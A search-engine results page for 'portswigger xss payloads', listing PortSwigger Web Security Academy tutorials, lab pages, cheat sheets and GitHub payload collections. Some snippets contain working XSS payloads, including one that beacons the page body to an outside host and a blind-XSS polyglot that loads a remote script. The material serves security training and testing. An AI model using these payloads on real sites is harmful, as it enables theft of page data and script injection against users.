portswigger xss payloads - Brave Search

portswigger.net › web-security › cross-site-scripting › cheat-sheet

Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy

xmp <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss> ... body <body onbeforeunload=navigator.sendBeacon('//ssl.portswigger-labs.net/',document.body.innerHTML)>

portswigger.net › web-security › cross-site-scripting › contexts

Cross-site scripting contexts | Web Security Academy

Instead, you simply need to use the ${...} syntax to embed a JavaScript expression that will be executed when the literal is processed. For example, if the XSS context is as follows: <script> ... var input = `controllable data here`; ... </script> ...

Videos

Bypassing XSS filters by enumerating permitted tags and ...

Testing for reflected XSS manually with Burp Suite - YouTube

October 6, 2023

Testing for stored XSS with Burp Suite - YouTube

October 6, 2023

Solving XSS Challenges from PortSwigger's Web Academy - YouTube

October 23, 2019

Appunti WAPT: PortSwigger XSS cheat sheet - YouTube

February 14, 2020

portswigger.net › web-security › cross-site-scripting › reflected

What is reflected XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy

The easiest way to test payloads is to send the request to Burp Repeater, modify the request to insert the candidate payload, issue the request, and then review the response to see if the payload worked. An efficient way to work is to leave the original random value in the request and place the candidate XSS payload before or after it.

github.com › crawl3r › PortswiggerXSS

GitHub - crawl3r/PortswiggerXSS: gathers the XSS cheatsheet payloads and creates a usable wordlist · GitHub

Disclaimer: Not the cleanest code but it works :) Cheatsheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet · Thank you ArenasDev for adding the following parameters and functionality: -tag for tag filtering -event for event filtering -filename for setting the name of the filtered list -update to force update (it wont update if there is an existing payload file)

Starred by 74 users

Forked by 20 users

Languages Go

github.com › 0xROI › PortSwigger-XSS-payloads

GitHub - 0xROI/PortSwigger-XSS-payloads: Collection of PortSwigger XSS payloads. · GitHub

Collection of PortSwigger XSS payloads. Contribute to 0xROI/PortSwigger-XSS-payloads development by creating an account on GitHub.

Author 0xROI

portswigger.net › web-security › cross-site-scripting › stored

What is stored XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy

When you have identified links between entry and exit points in the application's processing, each link needs to be specifically tested to detect if a stored XSS vulnerability is present. This involves determining the context within the response where the stored data appears and testing suitable candidate XSS payloads that are applicable to that context.

portswigger.net › support › xss-filters-beating-length-limits-using-shortened-payloads

XSS Filters: Beating Length Limits Using Shortened Payloads - PortSwigger

The most obvious method when attempting ... is to shorten your attack payload by using JavaScript APIs with the shortest possible length and removing characters that are usually included but are strictly unnecessary....

portswigger.net › web-security › cross-site-scripting › contexts › lab-html-context-with-most-tags-and-attributes-blocked

Lab: Reflected XSS into HTML context with most tags and attributes blocked | Web Security Academy

Send the resulting request to Burp Intruder. In Burp Intruder, replace the value of the search term with: <> Place the cursor between the angle brackets and click Add § to create a payload ...

portswigger.net › burp › documentation › desktop › testing-workflow › vulnerabilities › input-validation › xss › testing-for-blind-xss

Testing for blind XSS - PortSwigger

3 weeks ago - As you don't know which characters may be filtered or encoded, use a payload that works in most contexts, such as: </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/yourcollaboratordomain/).slice(2), document.documentElement.appendChild(s))//'>

Find elsewhere

Google Bing Mojeek

portswigger.net › support › xss-filters-beating-length-limits-using-spanned-payloads

XSS Filters: Beating Length Limits Using Spanned Payloads - PortSwigger

XSS Filters: Beating Length Limits Using Spanned Payloads A powerful technique for beating length limits is to span an attack payload across multiple ...

portswigger.net › research › one-xss-cheatsheet-to-rule-them-all

One XSS cheatsheet to rule them all | PortSwigger Research

September 4, 2020 - XSS cheatsheet vectors JavaScript HTML · Back to all articles · 03 September 2025 Cookie Chaos: How to bypass __Host and __Secure cookie prefixes · 22 January 2025 Stealing HttpOnly cookies with the cookie sandwich technique · 04 December 2024 Bypassing WAFs with the phantom $Version cookie · 29 October 2024 New crazy payloads in the URL Validation Bypass Cheat Sheet

portswigger.net › support › using-burp-to-manually-test-for-reflected-xss

Using Burp to Manually Test for Reflected XSS - PortSwigger

Here we can input various XSS payloads into the input field.

portswigger.net › support › exploiting-xss-injecting-into-tag-attributes

Exploiting XSS - Injecting into Tag Attributes - PortSwigger

One obvious way to craft an XSS exploit is to terminate the double quotation marks that enclose the attribute value, close the attribute tag, and then employ some means of introducing JavaScript, such as a script tag. For example: ... Check that the payload appears unmodified in the response, before testing the exploit in your browser.

github.com › PortSwigger › xss-cheatsheet

GitHub - PortSwigger/xss-cheatsheet · GitHub

An extension to incorporate PortSwigger's Cross-site scripting cheat sheet in to Burp. Usage is straightforward. Load the extension, browse to or search for the desired payload, then right click or Ctrl+C to copy.

Starred by 18 users

Forked by 6 users

Languages Java 99.5% | HTML 0.5%

portswigger.net › web-security › cross-site-scripting

What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It's long been common practice to use the alert() function for this purpose because it's short, harmless, ...

portswigger.net › bappstore › eb75d39684b845adb457bcb050d1aa1d

XSS Cheatsheet - PortSwigger

October 17, 2023 - XSS Cheatsheet · Professional Community · Download BApp · An extension to incorporate PortSwigger's Cross-site scripting cheat sheet in to Burp. Usage · Load the extension · Browse or search for the desired payload · Right-click or Ctrl+C to copy · Payload data is updated via GitHub when loading the extension (and persisted globally if GitHub is unavailable).

portswigger.net › burp › documentation › desktop › testing-workflow › input-validation › xss › bypassing-filters

Bypassing XSS filters by enumerating permitted tags and attributes - PortSwigger

December 16, 2025 - In Proxy > HTTP history, right-click the request with a reflected input that you want to investigate. Select Send to Intruder. ... In Intruder, replace the value of the input with: <>. Click inside the angle brackets, then click Add § to add a payload ...

portswigger.net › research › cross-site-scripting-research

Cross Site Scripting (XSS) Research | PortSwigger Research

View the latest cross-site scripting (XSS) research papers, tools, and techniques, from PortSwigger Research. Includes introductory and advanced content.

portswigger.net › research › our-favourite-community-contributions-to-the-xss-cheat-sheet

Our favourite community contributions to the XSS cheat sheet | PortSwigger Research

October 20, 2022 - View this entry on the XSS cheat sheet · Claiming the top spot, and for good reason, we consider this the best entry that we wanted to highlight. It's from @ladecruze, and uses the location object, base64 decoding, and tagged template strings to execute the payload.

portswigger.net › web-security › cross-site-scripting › dom-based

What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy

The most common source for DOM XSS is the URL, which is typically accessed with the window.location object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL.